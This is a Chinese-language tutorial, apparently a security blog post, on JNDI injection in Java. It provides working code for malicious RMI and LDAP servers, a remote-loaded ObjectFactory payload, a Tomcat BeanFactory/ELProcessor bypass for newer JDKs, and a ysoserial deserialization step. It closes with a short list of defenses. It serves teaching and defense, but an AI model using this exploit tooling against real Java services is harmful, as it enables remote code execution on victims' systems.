站在大佬肩膀上学JNDI注入
字数 1277 2025-08-15 21:31:52
JNDI注入攻击原理与利用详解
0x00 RMI基础与攻击原理
RMI基本概念
RMI(Remote Method Invocation)是Java中的远程方法调用机制,允许在不同Java虚拟机上的对象之间进行通信。JNDI(Java Naming and Directory Interface)提供了统一的接口来访问各种命名和目录服务,包括RMI。
攻击原理
JNDI注入的核心在于lookup()方法加载远程恶意类。当客户端调用ctx.lookup(uri)时,如果URI可控,攻击者可以构造恶意RMI或LDAP服务,诱导客户端加载并执行恶意代码。
攻击Demo分析
恶意类实现:
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
try {
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("calc.exe");
pc.waitFor();
} catch (Exception e) {}
return null;
}
}
RMI服务端实现:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class listener {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.hostname","192.168.154.131");
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc","Calc","http://192.168.154.131:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello",refObjWrapper);
}
}
受害者客户端:
import javax.naming.Context;
import javax.naming.InitialContext;
public class demo {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "rmi://192.168.154.131:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
关键点分析
Reference类构造时指定了类名和codebase URL- 客户端调用
lookup()时会从指定URL下载并加载类 - 恶意类实现了
ObjectFactory接口,在静态代码块和getObjectInstance方法中都插入了恶意代码 - 需要设置
com.sun.jndi.rmi.object.trustURLCodebase=true(JDK高版本默认false)
0x01 LDAP攻击方式
LDAP攻击原理
LDAP服务可以描述Java对象,通过返回一个恶意的JNDI Reference响应,诱导客户端加载远程类。
LDAP服务端实现
public class Ldap {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"};
int port = Integer.parseInt(args[1]);
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/') + ".class");
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
受害者客户端
public class demo {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String uri = "ldap://192.168.154.129:9999/calc";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x02 高版本JDK绕过技术
高版本限制
JDK 6u132、7u122、8u113及以上版本默认将com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase设置为false,禁止从远程codebase加载类。
利用本地类绕过
可以利用存在于目标classpath中的类进行攻击,如Tomcat中的org.apache.naming.factory.BeanFactory。
攻击原理
BeanFactory用于创建JavaBeans- 通过
forceString属性可以强制调用特定方法 - 结合
javax.el.ELProcessor的eval()方法执行EL表达式
恶意RMI服务端实现
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
"getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
"(['calc.exe']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
利用序列化数据绕过
当目标环境存在反序列化漏洞时,可以通过LDAP返回序列化数据触发漏洞。
攻击步骤
- 使用ysoserial生成CC链payload:
java -jar ysoserial.jar CommonsCollections5 calc.exe > poc.txt - 将payload转换为Base64编码
- 修改LDAP服务器返回序列化数据
- 客户端访问恶意LDAP服务触发反序列化
0x03 防御措施
- 升级JDK到最新版本
- 避免使用不可信的JNDI查找
- 设置JVM系统属性限制远程类加载:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false - 使用安全管理器限制敏感操作
- 对用户输入进行严格过滤和校验